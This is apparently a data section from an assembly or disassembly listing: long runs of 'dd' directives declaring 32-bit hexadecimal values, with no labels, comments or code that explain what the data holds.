dd 0F62B129Dh, 5BBA02CFh, 0A0F0683h, 92808EBh, 4B6F6820h
dd 0EB8FBE5Dh, 807F44Fh, 92D5CA41h, 0D2F7C78Fh, 84610F8Bh
dd 360FFBFh, 0E1739976h, 9FC0B749h, 95FCF11h, 0EB5401FFh
dd 0F2C52591h, 883B752h, 0E9171C40h, 71355825h, 16BA775h
dd 2109824Ah, 0D8645D4Eh, 87F52909h, 780F5EEh, 5EDC420Dh
dd 8374549Dh, 2D3078A2h, 3BD436A9h, 0E13FD7D9h, 0B57BF4E3h
dd 57F7C5C0h, 0F7FDEBB2h, 9E676DAh, 676AEE28h, 5AEBA00Fh
dd 0D5214332h, 3A231068h, 18EE2A8Ch, 983D7E55h, 6D062932h
dd 33FDE963h, 0FD055E3Ch, 0FEDC6302h, 47F71207h, 4264BD20h
dd 37FA16FCh, 0EAA01DE8h, 7103CB7Ah, 0D6E95233h, 5B24273Ch
dd 0C6550055h, 760751E0h, 84CE0619h, 182A1227h, 5B36DA00h
dd 0E9575250h, 0FF9A60D0h, 0F34BBCC2h, 10EB2D5Fh, 5F2F08F8h
dd 0AA5A41F9h, 0B542A546h, 6856003Eh, 0B8B9722Fh, 3192A424h
dd 0E088CDFAh, 77B85AD7h, 690270EEh, 142A0513h, 9139616Fh
dd 0C594D26Fh, 0F4217CE8h, 0A7CAC7B7h, 7B42EE51h, 8093D54Ah
dd 0E3496EC1h, 0FBF555CAh, 5F1249E8h, 79793DC1h, 6FF45A11h
dd 30229C59h, 1393E939h, 0DAB1DF95h, 0C1F064F4h, 507E224h
dd 3178302h, 3055FE2Ch, 5F0FB4F0h, 86353000h, 0E96BA30Bh
dd 402E40CEh, 7B0F05E2h, 84147222h, 0F9D60FC5h, 2B6C004Ch
dd 69BA0B60h, 0B4599FD7h, 952D028Bh, 5F196B50h, 7049762h
dd 26BC05Ah, 0FAE5695Eh, 3CE3AD82h, 0F8E03866h, 0DB14419Dh
dd 0F567672Fh, 7E9DFB08h, 0FCF08642h, 1BDE406Dh, 28E931F4h
dd 294D063Fh, 5A684CE0h, 5FFAFC05h, 0CB9314E9h, 4F1F3B83h
dd 2D680D88h, 1BFE165Fh, 32295951h, 1FF1E981h, 0D97A3013h
dd 5A0852D0h, 713CA6F1h, 576A0E4h, 0EB28A097h, 64C1769Ah
dd 0FFC7320Eh, 412040CCh, 661601Ah, 0EE6575B0h, 0C7852910h
dd 44F11928h, 8D0CC147h, 8871A579h, 73491668h, 5BE2FCD7h
dd 0D2B747ECh, 6B8724A1h, 6F9ECD0Ch, 5FD97481h, 32C25781h
dd 0F64CB069h, 2C4DC475h, 5A11FCE1h, 0CB305Ch, 772816B8h
dd 1F2901Dh, 138F454Ah, 3A4B30E9h, 0F37ED78Eh, 5921093Ah
dd 0DEEC317Dh, 97DFE7D3h, 98D9CEEFh, 3B1780F0h, 0EE002D8Ah
dd 27422AFDh, 0DE958DE9h, 60E8047h, 4BBA02E2h, 0FE256918h
dd 2D5E495Eh, 88772DA5h, 0DE270829h, 6BC2C2E5h, 0B1055A00h
dd 0DBC485Eh, 72DF814h, 0F786AF48h, 4B762A85h, 680DBA25h
dd 3536460Ah, 0BE0C2E0Fh, 33F8EAD5h, 0E78BBAB4h, 0EAE1D212h
dd 3E172BB3h, 0DD3AB853h, 0F09809FDh, 62FB54FEh, 0B3C9FAB1h
dd 161660DDh, 39C98FC0h, 0F632CF12h, 95037010h, 13DB3C77h
dd 0E5935EE9h, 6EC2312Bh, 0D010FCE6h, 161E4C0Eh, 66A2095Ah
dd 0EC81500Bh, 190BEECh, 0A0784827h, 0BE5372F8h, 46608261h
dd 0BD4882C7h, 0E3D14064h, 495B3712h, 805BAB5h, 56A3BBE8h
dd 151B8010h, 1113593Bh, 0ED72FFC8h, 0DA71DF5Bh, 0FC2A5842h
dd 0EC2F681Dh, 0AD9CA64Eh, 0A2C9044Fh, 6025F5FAh, 10419FB8h
dd 6C32D92Eh, 0B6B802DEh, 62152E3Ch, 2D85764Bh, 8472BAD6h
dd 290431BDh, 91A3FECAh, 0AAADE98Eh, 0F6C06F27h, 1ADD09C9h
dd 1E535F1Eh, 0F1FE1C78h, 0CF485E73h, 36164F64h, 17ECDAEFh
dd 73B91E76h, 0C2C28987h, 85654CFh, 0B8E42AB4h, 3CFCF35Ah
dd 0FF9192F7h, 1779DCF4h, 0B8294972h, 590840EBh, 4413AE9Ah
dd 0CFAC74B4h, 0C2F78085h, 566495ABh, 7673C507h, 0ED654F1Dh
dd 0D85ED4EBh, 0EF25E9F2h, 95FD219h, 2EE24416h, 40EA6AF7h
dd 6438C4Dh, 6E94E57h, 0BB0E6A72h, 0F61E3F78h, 5609DEB8h
dd 0A48DDBBEh, 62AC8228h, 77DDD3D4h, 0A0DD9889h, 333F3643h
dd 0E870BD7Dh, 0DAA1A402h, 44EB3147h, 61252D07h, 73EF9E54h
dd 54D587EBh, 5CCCFE1Eh, 3D6B1EBFh, 0A38FADFCh, 3C29900h
dd 0DF4801AFh, 0FF651211h, 0D968E2FEh, 0A905F04Ch, 61B52792h
dd 0CB6E0152h, 0E28B5088h, 91546840h, 0E35ECB6Dh, 12A35C93h
dd 0BAAE68C5h, 0CBFBC917h, 0BF411779h, 6D53938Dh, 58FAEA57h
dd 245858FBh, 5A9AEDB4h, 6809D0CAh, 0ACD46D27h, 6C3995Ch
dd 0D32B3468h, 8058EE20h, 2748BFD7h, 185E4508h, 0DE5DE400h
dd 2D20BB1Ah, 0B8DABA04h, 3057E90h, 4B025C2Fh, 0E2501990h
dd 0FC0BDD6h, 0B5B4DD29h, 51685760h, 5341F53h, 0ADFAD45Fh
dd 0B7501CE2h, 0E30E82B5h, 0F8A4775Eh, 0C0BCEF63h, 0C2292163h
dd 5AFA92EBh, 2DC3685Dh, 4A31FA5Bh, 3DA0C1C8h, 0A21D05ECh
dd 4217EE66h, 0E27FC2AFh, 44F26A60h, 0A44BA078h, 415D32B8h
dd 0D25C14C9h, 7DC133CFh, 0F22F5AD0h, 69BDCCB4h, 0F7F11D81h
dd 0FBB55392h, 2DEE2416h, 7F6682F3h, 0DC334802h, 5F0720D2h
dd 1783345Bh, 3168D2C4h
dd 4AFF58F5h, 0F2F0E4C4h, 90EA5E4Eh, 715320CEh, 0D2DF0A7Ch
dd 0A15DE8CFh, 0C63EEDE4h, 0EA4B4E3Ch, 2829633Dh, 0B580B886h
dd 0E9C1210Bh, 4911A06Fh, 1810E181h, 0EE427004h, 0DC0F11BBh
dd 0D390E923h, 0B0109CB9h, 4C54888h, 2E4E126Eh, 40A34BDCh
dd 0B7015334h, 80D7F6F3h, 0F17A01EFh, 0E9109DAFh, 0C0586BAFh
dd 5EC1760Eh, 0C03CE271h, 32AB6B98h, 65F04829h, 9767F200h
dd 0B436E96Fh, 0F4AE42D2h, 0FB968CEEh, 3D28F381h, 0B6001A1h
dd 9E7B1D9Bh, 0E960E4E3h, 0B8350EE0h, 0EA7849EEh, 4AF35897h
dd 84FDB937h, 854B2348h, 6F278F74h, 0C67FA524h, 7A04A90h
dd 23BBBF88h, 0D5D2FE44h, 13D7A7Ch, 78A72185h, 0F47AEFD1h
dd 431DFDF6h, 0CF873E3Fh, 3BA617A9h, 5C450C0Ch, 336066C5h
dd 879B0D17h, 0E91249FAh, 79BDCC7Ah, 56611281h, 0EB4A0928h
dd 0E8576309h, 3F40C312h, 6926B38Fh, 77358115h, 0E93D73ECh
dd 14DFEAE3h, 487E2E85h, 6084C912h, 75B80088h, 43B3D39h
dd 1325FA05h, 0DB4EB41h, 79681C5Ah, 0CCD72775h, 54552F1Dh
dd 0A4F19FD5h, 7F0F08E8h, 5C8923Eh, 76B9A4AAh, 68044BB4h
dd 0CCFA772Bh, 0E19F20DAh, 0D3C5E90Ch, 5BEDDF82h, 0E480763Fh
dd 41F813F5h, 8EF03AE3h, 3977BA02h, 6C3A6F2Ch, 0E828F009h
dd 6EB14E87h, 264B2113h, 14BF01D1h, 1423A2F8h, 610F781h
dd 1872C527h, 0D8DBE912h, 4F9531BFh, 68510163h, 0C95E5E2Ah
dd 0FA5F2186h, 0F4C8E6E3h, 90429535h, 258147FFh, 3DD90F32h
dd 34FA7D69h, 0D656682Fh, 0B6E96129h, 8BBF6D77h, 12208050h
dd 9853C11Ch, 0FE024FB2h, 0EB4D0042h, 8C40E1Eh, 0AA4EC40Bh
dd 0ACFCFD05h, 12F0F2BEh, 0F4E40E44h, 266717E6h, 3AB5F049h
dd 14D41D01h, 15E9CE31h, 0BB13C42Fh, 2B547ACh, 12029959h
dd 2FC3EA41h, 0E909C4FCh, 0A576632Fh, 40807BECh, 0D150212Eh
dd 0EA13F185h, 630B4A7Ch, 7D82C255h, 4B4E1E50h, 62681680h
dd 9E699731h, 4EE040Eh, 8002E70Dh, 498068BCh, 0ACC7314Eh
dd 2086E6C6h, 699887EBh, 0BF125773h, 0D50327B5h, 0E61F92CFh
dd 415C9446h, 264A9A68h, 12A6014Fh, 0D331E357h, 3C26ED50h
dd 0A93A4B0Ch, 5B0840C7h, 993EBCA0h, 53D35800h, 954BEFBBh
dd 0AA294E17h, 11542CBh, 750CE7D6h, 0DA40290Ch, 7B7F3C1Fh
dd 335632Dh, 0FDD8EA74h, 32093ADDh, 122064E9h, 0EB47EB94h
dd 0FAACE9C5h, 44C21B8Ah, 56BE18ECh, 43F01D63h, 378C4CC1h
dd 0EA2045A1h, 0C3237D1h, 8DEEE78Bh, 89C23D10h, 0BA325F50h
dd 58C67DA2h, 109E7E7Eh, 32D8F960h, 3AFC9D90h, 2F5FB8C0h
dd 0F4364A96h, 700EF57Ch, 0DE7DC244h, 0B06405Dh, 5BDC5648h
dd 0F796DC3Dh, 0C861F94Eh, 0EC6ABF8Ah, 0CD5DA350h, 4F39F2FEh
dd 0B729A50Fh, 0E98385ADh, 0FF843392h, 8698FAE2h, 0BE804EF7h
dd 53700F47h, 78394625h, 7C01050Ah, 765E624Dh, 2C4FD2Bh
dd 8416A1ECh, 0A597F129h, 9AC0F664h, 40C27541h, 0DD003F7h
dd 5A7353C6h, 0F68B80ADh, 352D4809h, 294C0FFAh, 7D1657C3h
dd 87F46F30h, 50800CF1h, 0FACF8D21h, 0BFF34C7Ch, 0D540AED3h
dd 68525559h, 320C031Ch, 7B38E965h, 92FC434Bh, 0E545EC4Fh
dd 6FBD8DAEh, 30A4A606h, 0D2BB002Ch, 81073D71h, 410199CBh
dd 0E9431511h, 83A4CA4Eh, 95E6883Ch, 5D9A2D01h, 85235290h
dd 0A037E985h, 0B3984F44h, 0BDDE00B5h, 1FC85461h, 9EE2965h
dd 0BD54E4DFh, 9D2E662h, 0C2E79404h, 3062D01Ch, 59FA18C3h
dd 0F5C48B75h, 0E916909Ch, 77C899F2h, 0EB0F2D89h, 0FC25945Eh
dd 0E5787280h, 0B7A1B500h, 0E9EF3065h, 453465DCh, 0A0A1FBEAh
dd 0AE3453EDh, 45370CBBh, 51643D23h, 39F1F212h, 52FB7917h
dd 0B45117D8h, 8F3DC7A6h, 4EFEB0DCh, 5E2F75A1h, 41ABBD35h
dd 59A13A08h, 575C8411h, 5861AD2Fh, 291F1692h, 41E6688Ch
dd 7F7F4C0h, 0EBCB799Dh, 31907365h, 8E99C0Ah, 168992AEh
dd 1BF9116Bh, 0EB5950C5h, 27BBF220h, 29531307h, 0D082F84Ch
dd 0A8F84E0Ch, 0B50BFC4Eh, 89BEF2BEh, 0E4477D5Dh, 46138F8Bh
dd 39E801FFh, 2CE90714h, 7A632A26h, 34C90522h, 82E8C013h
dd 0C0EB5610h, 735ED63Ch, 0FAC73E55h, 0F6EB58D5h, 0D7E85B33h
dd 0F072CE0Bh, 0F5955946h, 0D42FD515h, 782C02ECh, 0DE421F50h
dd 951D12Ah, 0B759B6DAh, 0AB8E5493h, 0FEF88B0Bh, 0DD62A2D9h
dd 5496D562h, 0A04BAAFAh, 89A70E5Fh, 95515782h, 7A777C52h
dd 0E9FD307Dh, 84FA9AE2h, 433913FAh, 0EE28C3BAh, 0FAB3AE03h
dd 9A5BDA88h, 1D0660D4h, 0D82180ECh, 5FC97AB4h, 0E7365840h
dd 455E7CBDh, 0FBB656A8h, 0BC09868Ah, 6CEEFEE5h, 9E3B7777h
dd 0C4C1034Eh, 0D9267F30h, 882B170Dh, 501266D2h, 88A96AB4h
dd 0D3681378h, 9B2EE85Ch, 0DC5C504Ah, 0A0EA906Fh, 13D4E343h
dd 72A483Fh, 0F3547D7Bh, 0E0E7D153h, 120E6FF3h, 0D801E704h
dd 0CFF811E9h, 943EB64Bh, 22408E8Bh, 0A95D31E2h, 6492DDFCh
dd 744CCB00h, 29621936h, 0FF7B219Bh, 5BA03C66h, 0C080690Fh
dd 0A1065FECh, 2AD3116Bh, 0C1C993E5h, 0B84AE7ADh, 0E32412A4h
dd 68C3F6EDh, 3B197B17h, 0C3C1F372h, 0FF13EE2Ah, 28979EFEh
dd 12F3CC1h, 673A593Bh, 0D6FEEF21h, 6C3EE49Ah, 8092F19Fh
dd 18576297h, 4C4431E9h, 0C5503C1h, 0CB21DD3Dh, 89D89CEAh
dd 391E6813h, 0D914D4A3h, 50071A09h, 0B444A834h, 1B0B89Bh
dd 0CB1B1DBAh, 0F1614A0Fh, 3FBD3570h, 40131F91h, 87FC1E4Dh
dd 60730510h, 0FD6F7FE5h, 298147Dh, 647B6B41h, 2E09FF92h
dd 0C3CC577Dh, 0BA9F5F4Ah, 232DE90Ch, 7E45B0C9h, 846CB87Eh
dd 49B3346Ch, 4EC7C010h, 57DA80AAh, 1B1F9B68h, 0FEC5496h
dd 4BDDCC25h, 0B93EC44Bh, 3A1F84FEh, 0FC1A0F8h, 2E28233Fh
dd 0A8E553FAh, 60B95BA3h, 0F51AE84h, 0AAED5F5Ah, 5121A32Dh
dd 0AAE3F30Ah, 76585B0Bh, 547D5243h, 583724A1h, 98A55059h
dd 0FCA08464h, 5556015Ah, 744A9E68h, 641B7B2Dh, 0F5DA825Ah
dd 9445D0Fh, 2174FF1Dh, 0EE4C84BAh, 0F2FC5AD1h, 0E261F274h
dd 25237A94h, 98753DCFh, 0E35C68DCh, 53778C6Ah, 0BF5E844h
dd 543D741Ah, 9B7AD90Bh, 0E658E912h, 0BBD7F0ECh, 61832885h
dd 0ADEAEC45h, 48E9A12Ch, 9A593524h, 0B1274BE5h, 0A42B2DE1h
dd 4CFAADBFh, 5012186Ah, 1D7FEF31h, 8959AF4Ah, 8385FCCFh
dd 0C9EF092Ah, 48CC0AFCh, 6A687453h, 3E296074h, 69A0272Dh
dd 0E799E170h, 7B060AB5h, 7FC71A15h, 742422F6h, 0F701A0B9h
dd 0D57B0150h, 0CDA1E16Eh, 0B5126ADDh, 49E97320h, 0BA7EC0AEh
dd 0AF764F5h, 292F789Dh, 9EBE1719h, 0B760E68h, 9E81C092h
dd 664FA060h, 3F5188B4h, 0E989F87Ch, 0B27C0BB9h, 80DE4350h
dd 4B0E2D95h, 0A003AD1Ah, 655A6C57h, 0B76B2DE9h, 0FC2753FAh
dd 0D02C928h, 0B2764189h, 0B3B3B5Dh, 6B68F17Eh, 729D18FAh
dd 0D494B7F6h, 0A14F527Fh, 0BC685503h, 4533120Ah, 0CB17F8BAh
dd 9C3E133h, 80E0AF71h, 0F383A98Ch, 0C1DB626Eh, 98D2D877h
dd 0DEF49D4Fh, 0F5CE7827h, 8279D4F6h, 3DB03CA6h, 7D5A42D7h
dd 763BDA80h, 531D1F65h, 19CC17BBh, 9EE06C70h, 0A4CD672Fh
dd 4E15A828h, 1A919EBAh, 0D73CDA9Fh, 53925059h, 0BBDB1D05h
dd 892B63FFh, 0B92C2DFh, 0F8C94354h, 5EB22676h, 4A5A0C82h
dd 8913C2B0h, 0D409631Dh, 5E3DA5ADh, 5DCA6CFFh, 2177919Dh
dd 0A5BBFCD2h, 0C1D8D5Dh, 929EC2Ah, 5514EFE9h, 0F8FF3A92h
dd 95EBEC96h, 0D8A20B55h
dd 97517E8Ch, 2D00DE59h, 5DDE30CBh, 0EA4B0705h, 0EB89B0C7h
dd 0FCBF8816h, 0C12158D7h, 0A078D09Dh, 0B45D726Bh, 0ECE153BCh
dd 0FE347A3Fh, 4AE94280h, 0AC8AC275h, 754ED830h, 271F3220h
dd 13DBB468h, 13FFCE16h, 4B04EB1Eh, 0F8BB93D3h, 3FE3B750h
dd 0F94509CDh, 1383E15Ch, 15058B17h, 0D4254F4h, 0E7F59800h
dd 0B06DF77Ch, 0F7E3F97h, 0CDE0F8A7h, 0C25E685Bh, 0C07EE18Dh
dd 0C67685D5h, 0EBF8535Ah, 0D2253D01h, 2B3AE90Bh, 0A4CFC185h
dd 4829EF5Eh, 2A97DD7Bh, 91A144E8h, 0C38001F8h, 57BC23Ah
dd 455F82F5h, 0EE0402C7h, 9680545Dh, 0F72803Fh, 0B44CCB84h
dd 1FD2840Ch, 5CBFF812h, 0BC0518E4h, 17A0CE86h, 0BA5F176Fh
dd 0B1E9F044h, 0B4BDDCE0h, 0BF578B8Ah, 0E9B76077h, 42C2BD39h
dd 258ED37Fh, 55DA73Ah, 39ABFE15h, 9CE16E34h, 0E955203Ah
dd 2BB3C9D4h, 0CB3DC8AFh, 7B65BF0Ah, 20EB0D08h, 718D3B9Eh
dd 0AB99023Dh, 731C9F16h, 9AE985F3h, 6B9C2D96h, 0BCF8A0DFh
dd 25342F0Ah, 8D208358h, 5F183C0Ah, 0DA06A26Ch, 0BF83FEF6h
dd 0D732FE7Ch, 80735558h, 418E5C2h, 0BF95BA58h, 0CE4CA1FFh
dd 8C3393E4h, 0C8C73B29h, 16426D50h, 0EFFD8955h, 3180CB0Fh
dd 2A8EE72Ch, 0A0FD9791h, 1B1E0390h, 513D216h, 98FCB0DBh
dd 76482744h, 0CC88C7ABh, 71C7E625h, 16AEF465h, 0CEC8B14h
dd 4A59D8E9h, 36169D57h, 0BF107220h, 0E595E672h, 23DBADD3h
dd 8AC077A5h, 0B74AB4E9h, 954812F3h, 434C9C2Eh, 2EDA3E4Bh
dd 62A7770Bh, 8E046929h, 0F7001396h, 7EF84BDAh, 42F8BF5Bh
dd 5CF38102h, 0F603F7C2h, 0D96709D0h, 0E459D119h, 45993D14h
dd 0F7406889h, 13D6CAB0h, 5A4B3B94h, 440D2A01h, 0CA5E4B24h
dd 0E5294FEBh, 0DF5B3632h, 0A0E93965h, 0DFBA0922h, 0DF0362h
dd 945D7FFDh, 0B4BB878h, 4C0D0AD3h, 3484E04h, 8258E288h
dd 6D71DDD0h, 2CB75341h, 0BD14443Eh, 9BE0020h, 4F1CD116h
dd 61A0BC46h, 76E4E90Fh, 0BC117055h, 0D2BB03FDh, 0D213F63Eh
dd 50970BAh, 9206742Dh, 0F0A2BE3Bh, 0F3613185h, 2F391001h
dd 2E67FF5Bh, 5DCCEDD2h, 2188F05Bh, 0DE2C8404h, 3C1C08FEh
dd 45136293h, 22112FE9h, 0FBC9CF33h, 0B5B841B0h, 1E95E82Ch
dd 5F7B2FC1h, 5F602817h, 5060FE8h, 0E55FA287h, 5EF7A922h
dd 8BA1F377h, 7628EE9h, 0CCECF3F7h, 82968BFh, 0CA0C4C0Dh
dd 2551C4DDh, 2E7826B1h, 0D02FE11Fh, 0B43118AFh, 0EF4FA79h
dd 0E3B3530Eh, 62E5DC09h, 58E12800h, 2E6EC780h, 0A5FB07E9h
dd 16976BBCh, 0C15E590Eh, 0A6E6F9C6h, 0A2685C09h, 79B06411h
dd 0EBD0156h, 0C15E7120h, 0C6B320E6h, 3DCCE0FBh, 97EF49Fh
dd 0F5D5AD1h, 8042FE7Eh, 578FE972h, 0E57FF309h, 18FBAD13h
dd 0F70C900Bh, 29950DC5h, 58B825A1h, 686E1C91h, 82B3E9B1h
dd 8370E95Ah, 2380F6A0h, 37904A7Dh, 560EF37Dh, 0A443072Ch
dd 0CCEA0B10h, 3B3BEA2Eh, 872C2B7Dh, 4E1CCD96h, 3D46F367h
dd 8A145329h, 69AB22F2h, 47B7FE58h, 0E0E9097Fh, 1669C60h
dd 45C0D74Bh, 0B55FFA89h, 13CF7F50h, 0E9278105h, 912EA273h
dd 0BF0321A5h, 70177954h, 0CBBA43DCh, 0E0DC5AF1h, 767B5D8h
dd 0D926EF0Bh, 32998845h, 0F7126227h, 0C8091ECEh, 7F9FB03Bh
dd 0AE97B902h, 177CD177h, 3D8BEE5Ch, 7EE90776h, 5E462025h
dd 6A690969h, 89E644DCh, 0C66CF88Ah, 9DB8E49Dh, 0F36B28DCh
dd 48F22849h, 12D21252h, 0BED2AFB8h, 0E951576Ch, 8017DB26h
dd 372D1C29h, 0B6526607h, 0A504678h, 0F6C9BF83h, 0F78FE54h
dd 95A31F5Eh, 8809B307h, 0D6E8D2DAh, 0F3CB80AEh, 33B96A60h
dd 70DF0E17h, 2A20B808h, 6AAF032Fh, 0C22979CCh, 0E9088840h
dd 0DF5A0C25h, 0BE038746h, 31B13A4Ah, 2115B0BFh, 954B9A28h
dd 675C12CAh, 8570B7ACh, 0D8799FEFh, 98962CBAh, 2685F02h
dd 6078DC27h, 1E0B5BEDh, 6E5DEACFh, 432389CBh, 967F895h
dd 4F277C97h, 3DE9ECEEh, 0A0B62494h, 0ECA66C09h, 160E4AD1h
dd 7D6FE7EBh, 4FC69E5Dh, 0EA93FAF6h, 214E588Bh, 120F075Bh
dd 83DC770Ch, 417DC16Fh, 10264445h, 62D14F18h, 8204FCF7h
dd 0F989888Ah, 0B472DC2h, 31200AF8h, 0C1507A46h, 9B355858h
dd 7B02E110h, 0CBC80D84h, 4A0EB892h, 3DA6CD0Bh, 0D2EF4A28h
dd 0B0655A26h, 3906E98Dh, 1ECDC5F8h, 0D20E7A61h, 5E74BC9Fh
dd 0B9807FADh, 8312901h, 8127C09Dh, 26840BE6h, 20F76C6Fh
dd 0D2F262BBh, 972B90A1h, 0E8E5E952h, 0B94E0AE9h, 2B5D7890h
dd 0F75E1A0Dh, 924010DEh, 2BC5A624h, 61BB159Ah, 75B355Ch
dd 0F3034BE2h, 804CA5FCh, 0C22FC30Dh, 0A86BD24Bh, 0ED4F76B4h
dd 290C0FFEh, 0D4E7E985h, 3312AF93h, 4281CFA9h, 6F4DD46Bh
dd 40B242A4h, 686C47BFh, 4F1B8A73h, 9A4AFD09h, 9E52DD9Bh
dd 21628B99h, 89C792D1h, 68D3E0DFh, 0E67EE352h, 35E9822Eh
dd 20D9D7B9h, 0DF485569h, 0CD2F6866h, 84AD2959h, 0C0AB5AE4h
dd 6BEF8026h, 0C9B0E7E0h, 61E2E9EAh, 0DBF2C7A8h, 1E63712h
dd 4E92FD01h, 7E0B64h, 7EBC184h, 79BF33E9h, 78688358h
dd 5B83623Dh, 460234Ch, 5C5DFEA5h, 32E8E8C4h, 92482D4h
dd 227AC0ECh, 0D12F1DFAh, 0CD5F3E5h, 0C3974386h, 0CE49770Bh
dd 1C285D67h, 76E90608h, 0C50727DAh, 3313981Ch, 0DFEF89BEh
dd 0CEEE6D99h, 0C86F71FDh, 69920345h, 4A526C58h, 54AC5E99h
dd 8312EED7h, 0F2BA7F1h, 0BECB8177h, 20916A82h, 20EA4EF7h
dd 6813B49Bh, 0A34145Ah, 0E90128EBh, 0EB0BDF5Ah, 62E6775Bh
dd 545F2225h, 57E8C219h, 0FEC38003h, 28CC1706h, 20BB39D8h
dd 1A58A31Dh, 8668C23Fh, 471D7D70h, 0C1E939B0h, 4A1CB0D8h
dd 0D0CBFB66h, 63206809h, 19F096F5h, 847162E9h, 0C5B07F5Bh
dd 0ECCE5A13h, 0D2BBC0E1h, 0FD6A337Ch, 912BEDCDh, 5096EBADh
dd 0C939F3EEh, 2980580Ah, 0EF0093DFh, 62EC03A2h, 7B9EC951h
dd 1C370466h, 0C6E36388h, 99BA5BE4h, 7C28F0CEh, 0F6156E9Dh
dd 2EDA6146h, 6A87F229h, 55C125ACh, 3FF06EE9h, 0F4126A8Ah
dd 0C6559C78h, 58035C9Dh, 21AC424Eh, 779248F6h, 353D6812h
dd 36944DF9h, 12A5BB2Eh, 8005C560h, 131AD039h, 2C112258h
dd 4100D5Fh, 0C016F25Eh, 6D6C9DBDh, 27F985Ch, 1CAB398Eh
dd 7E86BE9h, 348E3C0h, 50302527h, 578CCBFFh, 55620F59h
dd 8BEFF356h, 0BE5917E9h, 3935BE01h, 8F71295Ch, 0B7A1CCF8h
dd 43424851h, 71580598h, 3D03585h, 1575A788h, 422133E1h
dd 48312008h, 0D713FFC2h, 6A73FAFEh, 53E9DCB0h, 56156700h
dd 0F7DD8722h, 0C108D361h, 0A92F04E5h, 0F0C81F58h, 0FDA63D4h
dd 87270558h, 54EEEE29h, 0D164F08h, 0A8C7F1D3h, 76517669h
dd 83479029h, 37D82F08h, 0F6C995F6h, 0D01DC5E3h, 0F7ADBBD4h
dd 6936BF26h, 0F92B8B02h, 0C3716919h, 11A90844h, 0AA7DBC12h
dd 20502E63h, 45B51EEAh, 3658AF54h, 5D372D01h, 5AF1E95Fh
dd 0AA57266Fh, 286D5722h, 0F9759CAh, 5745378h, 0E1FB42C4h
dd 7F417F01h, 23F014EEh, 7E96894h, 0F9D23175h, 3E6B682Ah
dd 0BC4F20ECh, 69EF93BAh, 4FCF6E6Eh, 0BCBA5201h, 7065C976h
dd 0DD3B81Dh, 5AD5C2A0h, 0A8A8E8D9h, 94F82CE9h, 27C476Ah
dd 0D4501BACh, 780C7F70h, 226669E9h, 20B8B8F6h, 5D5E3D81h
dd 0E25C2339h, 13940FCh, 4A13FE48h, 0C82186AEh, 0AB2FF009h
dd 2D036C3Dh, 70A2D225h, 4FC65573h, 29E06812h, 5EFFD665h
dd 0A4EAD2FCh, 0C54A21FAh
dd 0EBE334EAh, 0E4B44EACh, 549D0101h, 5E7C2F1Eh, 0DB2DC8E8h
dd 7D7F095Dh, 2C78FF72h, 0FED5CB17h, 1285D5B3h, 0FAB72001h
dd 7979095Bh, 1C5F351h, 6A06E908h, 0DF48980Eh, 0D25DC214h
dd 21EE4216h, 849705EEh, 23240721h, 59CF00EBh, 517FEF27h
dd 7503B904h, 41AF2F4Fh, 9718FF59h, 0B6782009h, 3C269C12h
dd 0E9464380h, 0BFDF69FBh, 1A48F200h, 0D148017Ah, 3314052Ch
dd 40AE7F62h, 1848CC8Ah, 0EA3CC127h, 0ED0CF308h, 32868D6Dh
dd 0D4FEEEE9h, 0AE17A04Ch, 6823881Eh, 0D95D7025h, 0EE962E3h
dd 660E8176h, 89200E2Dh, 1485A201h, 0D04807C6h, 429D1C25h
dd 23D13500h, 0DBE9BB91h, 0E3449D36h, 31F3682Dh, 133F87F3h
dd 5D69FBCCh, 41CE1848h, 38132035h, 0CE42E8AAh, 23947E82h
dd 243FD17Ch, 2DB9F48Ch, 0A60B5DC6h, 9EB14375h, 15F04C60h
dd 0BDDD0230h, 0DBB5FED4h, 0B7E9A048h, 0E9055276h, 38BB2CA1h
dd 7BF551C2h, 0DF3114DDh, 0F50A1D7Dh, 3DCB5661h, 0C9185593h
dd 65A6E17Ch, 4D4B2B0Ch, 73B94928h, 0CC519592h, 224E7EE6h
dd 0EF3B058Ah, 6664F7Eh, 1B10BF09h, 0A4BD214Fh, 0EB0F2C5Ah
dd 0D2BF524Dh, 7C2AA08Bh, 73D0FDEFh, 0A0BA251Eh, 0CE89A6F6h
dd 6C9AD77Eh, 0C7F67462h, 3389782Fh, 0CA0FF91Eh, 7F682F1h
dd 0B753C490h, 0FC28259Bh, 0E688A518h, 25E5E918h, 12A4BD56h
dd 8C03EF2Fh, 0DC9DB9A2h, 206125D2h, 9FBD7E05h, 0AD0F551Bh
dd 2B1C907Fh, 28BC025Fh, 6C9507EFh, 1F85B609h, 11070B42h
dd 0AB3BA7Fh, 0F30B950Ch, 0EB6AD419h, 0E94322DCh, 3820C626h
dd 8F8966B9h, 5250495Bh, 93B1EE2h, 8DF1002Ah, 537A365Fh
dd 0F805FE9h, 0C2E9669Dh, 0E0A01ED8h, 2BF55593h, 8BE9B904h
dd 5F596692h, 5C2D67C5h, 40575A95h, 4C19E95Fh, 1D3C8EDh
dd 7835CA13h, 686FF94Ch, 0B3680EE4h, 0A2BB132Ch, 930690A6h
dd 5EE926B4h, 684E0531h, 208C9991h, 6E0458BEh, 0F3811D9Ch
dd 17C465C1h, 3AEE0C85h, 0EBF3C288h, 671F6ED4h, 0E9657142h
dd 82257D5Dh, 17AF9E2Ch, 49C592E9h, 87DF83BFh, 394E8777h
dd 145A418Ch, 0BC745D79h, 0CEE03804h, 0A017BB0Ah, 151027ACh
dd 895B0FEEh, 509D0BFAh, 1D74B5CEh, 4AD2B4C2h, 6973595Dh
dd 6803AD03h, 0BE841EDBh, 17D268EDh, 8BC1EEBAh, 0A86C68E9h
dd 0C9EBD11Dh, 98524A91h, 0A936C909h, 0E1E38E03h, 0E9380462h
dd 352275D1h, 0A9E7CC9Eh, 91DE5A16h, 12FB6C4Ch, 439D0FBBh
dd 5C440999h, 0E10CAD2h, 1378A868h, 28EA9DBEh, 0BA2C4B3Ch
dd 5D08400Ah, 689698B5h, 31075ED1h, 7EAD61AAh, 0BF3E8929h
dd 2AE94768h, 77812D36h, 0B1D3F454h, 4E664FCCh, 0C304C933h
dd 0B2AE8A9Ah, 5BC282h, 2B826852h, 6305D93h, 12830872h
dd 0C2ACE963h, 97905EEDh, 44971BABh, 33599709h, 601BE958h
dd 72EE874Eh, 0AB4E6732h, 0B15B66ECh, 746F402Ah, 364BF140h
dd 0D2C76BB1h, 3E71FFEEh, 0F451E9E1h, 4306723Ah, 1F928B42h
dd 77A809FDh, 2002C5FAh, 21BADB30h, 2F7CC1D8h, 0E29908FEh
dd 0C2232236h, 2995F99Dh, 82B506Fh, 43750C6Bh, 520C0095h
